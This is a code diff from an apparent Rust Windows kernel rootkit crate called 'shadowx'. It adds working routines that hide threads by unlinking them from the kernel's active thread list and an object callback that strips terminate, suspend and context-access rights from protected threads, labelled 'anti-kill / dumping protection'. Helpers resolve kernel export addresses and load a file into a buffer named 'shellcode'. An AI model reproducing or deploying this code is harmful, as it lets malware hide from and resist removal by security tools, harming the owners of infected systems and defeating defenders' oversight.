pub static mut CALLBACK_REGISTRATION_HANDLE_THREAD: *mut core::ffi::c_void = core::ptr::null_mut();
|
||||||
|
|
||||||
|
/// List of the target TIDs
|
||||||
|
static TARGET_TIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(||
|
||||||
|
Mutex::new(Vec::with_capacity(MAX_TID))
|
||||||
|
);
|
||||||
|
|
||||||
|
impl ThreadCallback {
|
||||||
|
/// Method for adding the list of threads that will have anti-kill / dumping protection.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `tid` - The identifier of the target process (tid) to be hidden.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * A status code indicating the success or failure of the operation.
|
||||||
|
pub fn add_target_tid(tid: usize) -> NTSTATUS {
|
||||||
|
let mut tids = TARGET_TIDS.lock();
|
||||||
|
|
||||||
|
if tids.len() >= MAX_TID {
|
||||||
|
return STATUS_QUOTA_EXCEEDED;
|
||||||
|
}
|
||||||
|
|
||||||
|
if tids.contains(&tid) {
|
||||||
|
return STATUS_DUPLICATE_OBJECTID;
|
||||||
|
}
|
||||||
|
|
||||||
|
tids.push(tid);
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Method for removing the list of threads that will have anti-kill / dumping protection.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `tid` - The identifier of the target process (tid) to be hidden.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * A status code indicating the success or failure of the operation.
|
||||||
|
pub fn remove_target_tid(tid: usize) -> NTSTATUS {
|
||||||
|
let mut tids = TARGET_TIDS.lock();
|
||||||
|
|
||||||
|
if let Some(index) = tids.iter().position(|&x| x == tid) {
|
||||||
|
tids.remove(index);
|
||||||
|
STATUS_SUCCESS
|
||||||
|
} else {
|
||||||
|
STATUS_UNSUCCESSFUL
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerate threads Protect.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `info_process` - It is a parameter of type `Infothreads` that will send the threads that are currently protected.
|
||||||
|
/// * `information` - It is a parameter of type `usize` that will be updated with the total size of the filled `Infothreads` structures.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * A status code indicating success or failure of the operation.
|
||||||
|
pub unsafe fn enumerate_protection_thread() -> Vec<TargetThread> {
|
||||||
|
let mut threads: Vec<TargetThread> = Vec::new();
|
||||||
|
let thread_info = TARGET_TIDS.lock();
|
||||||
|
for i in thread_info.iter() {
|
||||||
|
threads.push(TargetThread {
|
||||||
|
tid: *i,
|
||||||
|
..Default::default()
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
threads
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Pre-operation callback for thread opening that modifies the desired access rights to prevent certain actions on specific threads.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `_registration_context` - A pointer to the registration context (unused).
|
||||||
|
/// * `info` - A pointer to the `OB_PRE_OPERATION_INFORMATION` structure containing information about the operation.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * A status code indicating the success of the pre-operation.
|
||||||
|
pub unsafe extern "C" fn on_pre_open_thread(
|
||||||
|
_registration_context: *mut core::ffi::c_void,
|
||||||
|
info: *mut OB_PRE_OPERATION_INFORMATION,
|
||||||
|
) -> Type {
|
||||||
|
if (*info).__bindgen_anon_1.__bindgen_anon_1.KernelHandle() == 1 {
|
||||||
|
return OB_PREOP_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
let thread = (*info).Object as PETHREAD;
|
||||||
|
let tid = PsGetThreadId(thread) as usize;
|
||||||
|
let tids = TARGET_TIDS.lock();
|
||||||
|
|
||||||
|
if tids.contains(&tid) {
|
||||||
|
let mask = !(THREAD_TERMINATE | THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT);
|
||||||
|
(*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask;
|
||||||
|
}
|
||||||
|
|
||||||
|
OB_PREOP_SUCCESS
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
206
crates/shadowx/src/thread/mod.rs
Normal file
206
crates/shadowx/src/thread/mod.rs
Normal file
@@ -0,0 +1,206 @@
|
|||||||
|
use alloc::vec::Vec;
|
||||||
|
use wdk_sys::{ntddk::*, *};
|
||||||
|
use spin::{mutex::Mutex, lazy::Lazy};
|
||||||
|
use crate::{
|
||||||
|
error::ShadowError,
|
||||||
|
lock::with_push_lock_exclusive,
|
||||||
|
offsets::{
|
||||||
|
get_thread_list_entry_offset,
|
||||||
|
get_thread_lock_offset
|
||||||
|
}
|
||||||
|
};
|
||||||
|
use common::{structs::TargetThread, vars::MAX_TID};
|
||||||
|
|
||||||
|
pub mod callback;
|
||||||
|
pub use callback::*;
|
||||||
|
|
||||||
|
/// List of target threads protected by a mutex.
|
||||||
|
pub static THREAD_INFO_HIDE: Lazy<Mutex<Vec<TargetThread>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_TID)));
|
||||||
|
|
||||||
|
/// Represents a thread in the operating system.
|
||||||
|
///
|
||||||
|
/// The `Thread` struct provides a safe abstraction over the `ETHREAD` structure used
|
||||||
|
/// in Windows kernel development. It allows for looking up a thread by its TID and ensures
|
||||||
|
/// proper cleanup of resources when the structure goes out of scope.
|
||||||
|
pub struct Thread {
|
||||||
|
/// Pointer to the ETHREAD structure, used for managing thread information.
|
||||||
|
pub e_thread: PETHREAD,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Thread {
|
||||||
|
/// Creates a new `Thread` instance by looking up a thread by its TID.
|
||||||
|
///
|
||||||
|
/// This method attempts to find a thread using its thread identifier (TID). If the thread
|
||||||
|
/// is found, it returns an instance of the `Thread` structure containing a pointer to the
|
||||||
|
/// `ETHREAD` structure.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `tid` - The thread identifier (TID) of the thread to be looked up.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(Self)` - Returns a `Thread` instance if the thread lookup is successful.
|
||||||
|
/// * `Err(ShadowError)` - Returns an error message if the lookup fails.
|
||||||
|
///
|
||||||
|
/// # Examples
|
||||||
|
///
|
||||||
|
/// ```rust
|
||||||
|
/// let thread = Thread::new(1234);
|
||||||
|
/// match thread {
|
||||||
|
/// Ok(thre) => println!("Thread found: {:?}", thre.e_thread),
|
||||||
|
/// Err(e) => println!("Error: {}", e),
|
||||||
|
/// }
|
||||||
|
/// ```
|
||||||
|
#[inline]
|
||||||
|
pub fn new(tid: usize) -> Result<Self, ShadowError> {
|
||||||
|
let mut thread = core::ptr::null_mut();
|
||||||
|
|
||||||
|
let status = unsafe { PsLookupThreadByThreadId(tid as _, &mut thread) };
|
||||||
|
if NT_SUCCESS(status) {
|
||||||
|
Ok(Self { e_thread: thread })
|
||||||
|
} else {
|
||||||
|
Err(ShadowError::ApiCallFailed("PsLookupThreadByThreadId", status))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Implements the `Drop` trait for the `Thread` structure to handle cleanup when the structure goes out of scope.
|
||||||
|
///
|
||||||
|
/// The `Drop` implementation ensures that the reference count on the `ETHREAD` structure
|
||||||
|
/// is properly decremented when the `Thread` instance is dropped. This prevents resource leaks.
|
||||||
|
impl Drop for Thread {
|
||||||
|
/// Cleans up the resources held by the `Thread` structure.
|
||||||
|
///
|
||||||
|
/// This method decrements the reference count of the `ETHREAD` structure when the
|
||||||
|
/// `Thread` instance is dropped, ensuring proper cleanup.
|
||||||
|
fn drop(&mut self) {
|
||||||
|
if !self.e_thread.is_null() {
|
||||||
|
unsafe { ObfDereferenceObject(self.e_thread as _) };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Thread {
|
||||||
|
/// Hides a thread by removing it from the active thread list in the operating system.
|
||||||
|
///
|
||||||
|
/// This method hides a thread by unlinking it from the active thread list (`LIST_ENTRY`) in the OS.
|
||||||
|
/// It uses synchronization locks to ensure thread safety while modifying the list. Once the thread is hidden,
|
||||||
|
/// it is no longer visible in the system's active thread chain.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `tid` - The thread identifier (TID) of the target thread to be hidden.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(LIST_ENTRY)` - Returns the previous `LIST_ENTRY` containing the pointers to the neighboring threads
|
||||||
|
/// in the list before it was modified.
|
||||||
|
/// * `Err(ShadowError)` - Returns an error if the thread lookup fails or the operation encounters an issue.
|
||||||
|
pub unsafe fn hide_thread(tid: usize) -> Result<LIST_ENTRY, ShadowError> {
|
||||||
|
// Getting offsets based on the Windows build number
|
||||||
|
let active_thread_link = get_thread_list_entry_offset();
|
||||||
|
let offset_lock = get_thread_lock_offset();
|
||||||
|
|
||||||
|
// Retrieving ETHREAD from the target thread
|
||||||
|
let thread = Self::new(tid)?;
|
||||||
|
|
||||||
|
// Retrieve the `LIST_ENTRY` for the active thread link, which connects the thread
|
||||||
|
// to the list of active threads in the system.
|
||||||
|
let current = thread.e_thread.cast::<u8>().offset(active_thread_link) as PLIST_ENTRY;
|
||||||
|
let push_lock = thread.e_thread.cast::<u8>().offset(offset_lock) as *mut u64;
|
||||||
|
|
||||||
|
// Use synchronization to ensure thread safety while modifying the list
|
||||||
|
with_push_lock_exclusive(push_lock, || {
|
||||||
|
// The next thread in the chain
|
||||||
|
let next = (*current).Flink;
|
||||||
|
|
||||||
|
// The previous thread in the chain
|
||||||
|
let previous = (*current).Blink;
|
||||||
|
|
||||||
|
// Storing the previous list entry, which will be returned
|
||||||
|
let previous_link = LIST_ENTRY {
|
||||||
|
Flink: next as *mut LIST_ENTRY,
|
||||||
|
Blink: previous as *mut LIST_ENTRY,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Unlink the thread from the active list
|
||||||
|
(*next).Blink = previous;
|
||||||
|
(*previous).Flink = next;
|
||||||
|
|
||||||
|
// Make the current list entry point to itself to hide the thread
|
||||||
|
(*current).Flink = current;
|
||||||
|
(*current).Blink = current;
|
||||||
|
|
||||||
|
Ok(previous_link)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Unhides a thread by restoring it to the active thread list in the operating system.
|
||||||
|
///
|
||||||
|
/// This method restores a previously hidden thread back into the active thread list by re-linking
|
||||||
|
/// its `LIST_ENTRY` pointers (`Flink` and `Blink`) to the adjacent threads in the list. The function
|
||||||
|
/// uses synchronization locks to ensure thread safety while modifying the list.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `tid` - The thread identifier (TID) of the target thread to be unhidden.
|
||||||
|
/// * `list_entry` - A pointer to the previous `LIST_ENTRY`, containing the neighboring threads in the list,
|
||||||
|
/// which was saved when the thread was hidden.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(NTSTATUS)` - Indicates the thread was successfully restored to the active list.
|
||||||
|
/// * `Err(ShadowError)` - Returns an error if the thread lookup fails or the operation encounters an issue.
|
||||||
|
pub unsafe fn unhide_thread(tid: usize, list_entry: PLIST_ENTRY) -> Result<NTSTATUS, ShadowError> {
|
||||||
|
// Getting offsets based on the Windows build number
|
||||||
|
let active_thread_link = get_thread_list_entry_offset();
|
||||||
|
let offset_lock = get_thread_lock_offset();
|
||||||
|
|
||||||
|
// Retrieving ETHREAD from the target thread
|
||||||
|
let thread = Self::new(tid)?;
|
||||||
|
|
||||||
|
// Retrieve the `LIST_ENTRY` for the active thread link, which connects the thread
|
||||||
|
// to the list of active threads in the system.
|
||||||
|
let current = thread.e_thread.cast::<u8>().offset(active_thread_link) as PLIST_ENTRY;
|
||||||
|
let push_lock = thread.e_thread.cast::<u8>().offset(offset_lock) as *mut u64;
|
||||||
|
|
||||||
|
// Use synchronization to ensure thread safety while modifying the list
|
||||||
|
with_push_lock_exclusive(push_lock, || {
|
||||||
|
// Restore the `Flink` and `Blink` from the saved `list_entry`
|
||||||
|
(*current).Flink = (*list_entry).Flink as *mut _LIST_ENTRY;
|
||||||
|
(*current).Blink = (*list_entry).Blink as *mut _LIST_ENTRY;
|
||||||
|
|
||||||
|
// Re-link the process to the neighboring processes in the chain
|
||||||
|
let next = (*current).Flink;
|
||||||
|
let previous = (*current).Blink;
|
||||||
|
|
||||||
|
(*next).Blink = current;
|
||||||
|
(*previous).Flink = current;
|
||||||
|
});
|
||||||
|
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerates all currently hidden threads.
|
||||||
|
///
|
||||||
|
/// This function iterates through the list of hidden threads stored in `THREAD_INFO_HIDE` and returns
|
||||||
|
/// a vector containing their information.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * A vector containing the information of all hidden threads.
|
||||||
|
pub unsafe fn enumerate_hide_threads() -> Vec<TargetThread> {
|
||||||
|
let mut threads: Vec<TargetThread> = Vec::new();
|
||||||
|
let thread_info = THREAD_INFO_HIDE.lock();
|
||||||
|
for i in thread_info.iter() {
|
||||||
|
threads.push(TargetThread {
|
||||||
|
tid: (*i).tid as usize,
|
||||||
|
..Default::default()
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
threads
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
106
crates/shadowx/src/utils/address.rs
Normal file
106
crates/shadowx/src/utils/address.rs
Normal file
@@ -0,0 +1,106 @@
|
|||||||
|
use {
|
||||||
|
super::pool::PoolMemory,
|
||||||
|
alloc::string::ToString,
|
||||||
|
winapi::um::winnt::RtlZeroMemory,
|
||||||
|
wdk_sys::{POOL_FLAG_NON_PAGED, NT_SUCCESS},
|
||||||
|
core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts},
|
||||||
|
ntapi::{
|
||||||
|
ntexapi::SystemModuleInformation,
|
||||||
|
ntzwapi::ZwQuerySystemInformation
|
||||||
|
},
|
||||||
|
winapi::um::winnt::{
|
||||||
|
IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
|
||||||
|
IMAGE_NT_HEADERS64,
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
use crate::{
|
||||||
|
error::ShadowError,
|
||||||
|
SystemModuleInformation
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Gets the base address of a specified module by querying system module information.
|
||||||
|
/// This function queries the system for all loaded modules and compares their names
|
||||||
|
/// to the provided module name to find the base address.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `module_name` - A string slice containing the name of the module to locate.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(*mut c_void)` - A pointer to the base address of the module if found.
|
||||||
|
/// * `Err(ShadowError)` - If the module is not found or an error occurs during execution.
|
||||||
|
pub unsafe fn get_module_base_address(module_name: &str) -> Result<*mut c_void, ShadowError> {
|
||||||
|
// Initial call to ZwQuerySystemInformation to get the required buffer size for system module info
|
||||||
|
let mut return_bytes = 0;
|
||||||
|
ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes);
|
||||||
|
|
||||||
|
// Allocates non-paged pool memory to store system module information
|
||||||
|
let info_module = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"dsdx"))
|
||||||
|
.map(|mem| mem.ptr as *mut SystemModuleInformation) // Converts to the appropriate type
|
||||||
|
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
|
||||||
|
|
||||||
|
// Clears the allocated memory to ensure no garbage data is present
|
||||||
|
RtlZeroMemory(info_module as *mut winapi::ctypes::c_void, return_bytes as usize);
|
||||||
|
|
||||||
|
// Retrieves the actual system module information
|
||||||
|
let status = ZwQuerySystemInformation(
|
||||||
|
SystemModuleInformation,
|
||||||
|
info_module as *mut winapi::ctypes::c_void,
|
||||||
|
return_bytes,
|
||||||
|
&mut return_bytes
|
||||||
|
);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status))
|
||||||
|
}
|
||||||
|
|
||||||
|
// Iterates over the list of modules to find the one that matches the provided name
|
||||||
|
let module_count = (*info_module).ModuleCount;
|
||||||
|
for i in 0..module_count as usize {
|
||||||
|
let name = (*info_module).Modules[i].ImageName;
|
||||||
|
let module_base = (*info_module).Modules[i].ImageBase as *mut c_void;
|
||||||
|
if let Ok(name_str) = core::str::from_utf8(&name) {
|
||||||
|
if name_str.contains(module_name) {
|
||||||
|
return Ok(module_base);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// If the module is not found, return an error
|
||||||
|
Err(ShadowError::FunctionExecutionFailed("get_module_base_address", line!()))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Gets the address of a specified function within a module.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `function_name` - A string slice containing the name of the function.
|
||||||
|
/// * `dll_base` - A pointer to the base address of the DLL.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Option<*mut c_void>` - An optional pointer to the function's address, or None if the function is not found.
|
||||||
|
pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Result<*mut c_void, ShadowError> {
|
||||||
|
let dos_header = dll_base as *const IMAGE_DOS_HEADER;
|
||||||
|
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||||
|
|
||||||
|
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||||
|
let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _);
|
||||||
|
let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _);
|
||||||
|
let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,(*export_directory).NumberOfNames as _);
|
||||||
|
|
||||||
|
for i in 0..(*export_directory).NumberOfNames as usize {
|
||||||
|
let name = CStr::from_ptr((dll_base as usize + names[i] as usize) as *const i8)
|
||||||
|
.to_str()
|
||||||
|
.map_err(|_| ShadowError::StringConversionFailed(names[i as usize] as usize))?;
|
||||||
|
|
||||||
|
let ordinal = ordinals[i] as usize;
|
||||||
|
let address = (dll_base as usize + functions[ordinal] as usize) as *mut c_void;
|
||||||
|
if name == function_name {
|
||||||
|
return Ok(address);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Err(ShadowError::FunctionNotFound(function_name.to_string()))
|
||||||
|
}
|
||||||
122
crates/shadowx/src/utils/file.rs
Normal file
122
crates/shadowx/src/utils/file.rs
Normal file
@@ -0,0 +1,122 @@
|
|||||||
|
use {
|
||||||
|
alloc::vec::Vec,
|
||||||
|
crate::error::ShadowError,
|
||||||
|
core::{ffi::c_void, ptr::null_mut},
|
||||||
|
super::{handle::Handle, InitializeObjectAttributes},
|
||||||
|
wdk_sys::{
|
||||||
|
*,
|
||||||
|
ntddk::*,
|
||||||
|
_FILE_INFORMATION_CLASS::FileStandardInformation
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Reads the content of a file given its path in the NT kernel environment.
|
||||||
|
///
|
||||||
|
/// This function opens a file specified by the given path, reads its content,
|
||||||
|
/// and returns the data as a vector of bytes. It uses the `ZwCreateFile` function
|
||||||
|
/// to open the file and `ZwReadFile` to read its content. The path is automatically
|
||||||
|
/// converted to NT format (e.g., `\\??\\C:\\path\\to\\file`).
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `path` - A string slice representing the path to the file. The path should follow
|
||||||
|
/// the standard Windows format (e.g., `C:\\path\\to\\file`).
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(Vec<u8>)` - A vector containing the file's content as bytes if the file is successfully opened and read.
|
||||||
|
/// * `Err(ShadowError)` - If an error occurs during:
|
||||||
|
/// - Opening the file (`ZwCreateFile` failure),
|
||||||
|
/// - Querying file information (`ZwQueryInformationFile` failure),
|
||||||
|
/// - Reading the file (`ZwReadFile` failure).
|
||||||
|
pub fn read_file(path: &str) -> Result<Vec<u8>, ShadowError> {
|
||||||
|
// Converts the path to NT format (e.g., "\\??\\C:\\path\\to\\file")
|
||||||
|
let path_nt = alloc::format!("\\??\\{}", path);
|
||||||
|
|
||||||
|
// Converts the NT path to a Unicode string
|
||||||
|
let file_name = crate::utils::uni::str_to_unicode(&path_nt);
|
||||||
|
|
||||||
|
// Initializes the object attributes for opening the file, including setting
|
||||||
|
// it as case insensitive and kernel-handled
|
||||||
|
let mut io_status_block: _IO_STATUS_BLOCK = unsafe { core::mem::zeroed() };
|
||||||
|
let mut obj_attr = InitializeObjectAttributes(
|
||||||
|
Some(&mut file_name.to_unicode()),
|
||||||
|
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
|
||||||
|
None,
|
||||||
|
None,
|
||||||
|
None
|
||||||
|
);
|
||||||
|
|
||||||
|
// Opens the file using ZwCreateFile with read permissions
|
||||||
|
let mut h_file: HANDLE = null_mut();
|
||||||
|
let mut status = unsafe {
|
||||||
|
ZwCreateFile(
|
||||||
|
&mut h_file,
|
||||||
|
GENERIC_READ,
|
||||||
|
&mut obj_attr,
|
||||||
|
&mut io_status_block,
|
||||||
|
null_mut(),
|
||||||
|
FILE_ATTRIBUTE_NORMAL,
|
||||||
|
0,
|
||||||
|
FILE_OPEN,
|
||||||
|
FILE_SYNCHRONOUS_IO_NONALERT,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwCreateFile", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wrap the file handle in a safe Handle type
|
||||||
|
let h_file = Handle::new(h_file);
|
||||||
|
|
||||||
|
// Placeholder for storing file information (e.g., size)
|
||||||
|
let mut file_info: FILE_STANDARD_INFORMATION = unsafe { core::mem::zeroed() };
|
||||||
|
|
||||||
|
// Queries file information, such as its size, using ZwQueryInformationFile
|
||||||
|
status = unsafe {
|
||||||
|
ZwQueryInformationFile(
|
||||||
|
h_file.get(),
|
||||||
|
&mut io_status_block,
|
||||||
|
&mut file_info as *mut _ as *mut c_void,
|
||||||
|
size_of::<FILE_STANDARD_INFORMATION>() as u32,
|
||||||
|
FileStandardInformation
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwQueryInformationFile", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Retrieves the file size from the queried file information
|
||||||
|
let file_size = unsafe { file_info.EndOfFile.QuadPart as usize };
|
||||||
|
|
||||||
|
// Initializes the byte offset to 0 for reading from the beginning of the file
|
||||||
|
let mut byte_offset: LARGE_INTEGER = unsafe { core::mem::zeroed() };
|
||||||
|
byte_offset.QuadPart = 0;
|
||||||
|
|
||||||
|
// Reads the file content into the buffer using ZwReadFile
|
||||||
|
let mut shellcode = alloc::vec![0u8; file_size];
|
||||||
|
status = unsafe {
|
||||||
|
ZwReadFile(
|
||||||
|
h_file.get(),
|
||||||
|
null_mut(),
|
||||||
|
None,
|
||||||
|
null_mut(),
|
||||||
|
&mut io_status_block,
|
||||||
|
shellcode.as_mut_ptr() as *mut c_void,
|
||||||
|
file_size as u32,
|
||||||
|
&mut byte_offset,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwReadFile", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Returns the file content as a vector of bytes if everything succeeds
|
||||||
|
Ok(shellcode)
|
||||||
|
}
|
||||||
@@ -5,7 +5,6 @@ use wdk_sys::{ntddk::ZwClose, HANDLE};
|
|||||||
/// This struct provides a safe abstraction over raw Windows handles, ensuring that the
|
/// This struct provides a safe abstraction over raw Windows handles, ensuring that the
|
||||||
/// handle is properly closed when it goes out of scope, by calling `ZwClose` in its `Drop`
|
/// handle is properly closed when it goes out of scope, by calling `ZwClose` in its `Drop`
|
||||||
/// implementation.
|
/// implementation.
|
||||||
///
|
|
||||||
pub struct Handle(HANDLE);
|
pub struct Handle(HANDLE);
|
||||||
|
|
||||||
impl Handle {
|
impl Handle {
|
||||||
@@ -15,12 +14,11 @@ impl Handle {
|
|||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// - `handle`: A raw Windows `HANDLE` to wrap.
|
/// * `handle` - A raw Windows `HANDLE` to wrap.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// - `Handle`: A new `Handle` instance that wraps the given `HANDLE`.
|
/// * Returns a new `Handle` instance that encapsulates the provided raw `HANDLE`.
|
||||||
///
|
|
||||||
#[inline]
|
#[inline]
|
||||||
pub fn new(handle: HANDLE) -> Self {
|
pub fn new(handle: HANDLE) -> Self {
|
||||||
Handle(handle)
|
Handle(handle)
|
||||||
@@ -33,8 +31,7 @@ impl Handle {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// - `HANDLE`: The raw Windows `HANDLE`.
|
/// * Returns the raw Windows `HANDLE` encapsulated in the `Handle` struct.
|
||||||
///
|
|
||||||
#[inline]
|
#[inline]
|
||||||
pub fn get(&self) -> HANDLE {
|
pub fn get(&self) -> HANDLE {
|
||||||
self.0
|
self.0
|
||||||
28
crates/shadowx/src/utils/lock.rs
Normal file
28
crates/shadowx/src/utils/lock.rs
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
use wdk_sys::ntddk::{ExAcquirePushLockExclusiveEx, ExReleasePushLockExclusiveEx};
|
||||||
|
|
||||||
|
/// Generic function that performs the operation with the lock already acquired.
|
||||||
|
/// It will acquire the lock exclusively and guarantee its release after use.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `push_lock` - Pointer to the lock to be acquired.
|
||||||
|
/// * `operation` - The operation to be performed while the lock is active.
|
||||||
|
pub fn with_push_lock_exclusive<T, F>(push_lock: *mut u64, operation: F) -> T
|
||||||
|
where
|
||||||
|
F: FnOnce() -> T,
|
||||||
|
{
|
||||||
|
unsafe {
|
||||||
|
// Get the lock exclusively
|
||||||
|
ExAcquirePushLockExclusiveEx(push_lock, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Performs the operation while the lock is active
|
||||||
|
let result = operation();
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
// Releases the lock after the operation
|
||||||
|
ExReleasePushLockExclusiveEx(push_lock, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
result
|
||||||
|
}
|
||||||
326
crates/shadowx/src/utils/mod.rs
Normal file
326
crates/shadowx/src/utils/mod.rs
Normal file
@@ -0,0 +1,326 @@
|
|||||||
|
use {
|
||||||
|
alloc::string::{ToString, String},
|
||||||
|
wdk_sys::{*, ntddk::*},
|
||||||
|
crate::{
|
||||||
|
*,
|
||||||
|
pool::PoolMemory,
|
||||||
|
error::ShadowError,
|
||||||
|
process_attach::ProcessAttach
|
||||||
|
},
|
||||||
|
core::{
|
||||||
|
ffi::{c_void, CStr},
|
||||||
|
slice::from_raw_parts,
|
||||||
|
ptr::{null_mut, read_unaligned},
|
||||||
|
},
|
||||||
|
ntapi::{
|
||||||
|
ntpebteb::PEB,
|
||||||
|
ntldr::LDR_DATA_TABLE_ENTRY,
|
||||||
|
ntzwapi::ZwQuerySystemInformation,
|
||||||
|
ntexapi::{SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION},
|
||||||
|
},
|
||||||
|
winapi::um::winnt::{
|
||||||
|
IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
|
||||||
|
IMAGE_NT_HEADERS64
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
pub mod uni;
|
||||||
|
pub mod lock;
|
||||||
|
pub mod patterns;
|
||||||
|
pub mod address;
|
||||||
|
pub mod pool;
|
||||||
|
pub mod handle;
|
||||||
|
pub mod file;
|
||||||
|
pub mod process_attach;
|
||||||
|
|
||||||
|
/// Initializes the `OBJECT_ATTRIBUTES` structure.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `object_name` - An optional pointer to a `UNICODE_STRING` representing the name of the object.
|
||||||
|
/// If `None`, the object name is set to `null_mut()`.
|
||||||
|
/// * `attributes` - A `u32` representing the attributes of the object (e.g., `OBJ_CASE_INSENSITIVE`, `OBJ_KERNEL_HANDLE`).
|
||||||
|
/// * `root_directory` - An optional pointer to a root directory. If the object resides in a directory,
|
||||||
|
/// this pointer represents the root directory. If `None`, it is set to `null_mut()`.
|
||||||
|
/// * `security_descriptor` - An optional pointer to a security descriptor that defines
|
||||||
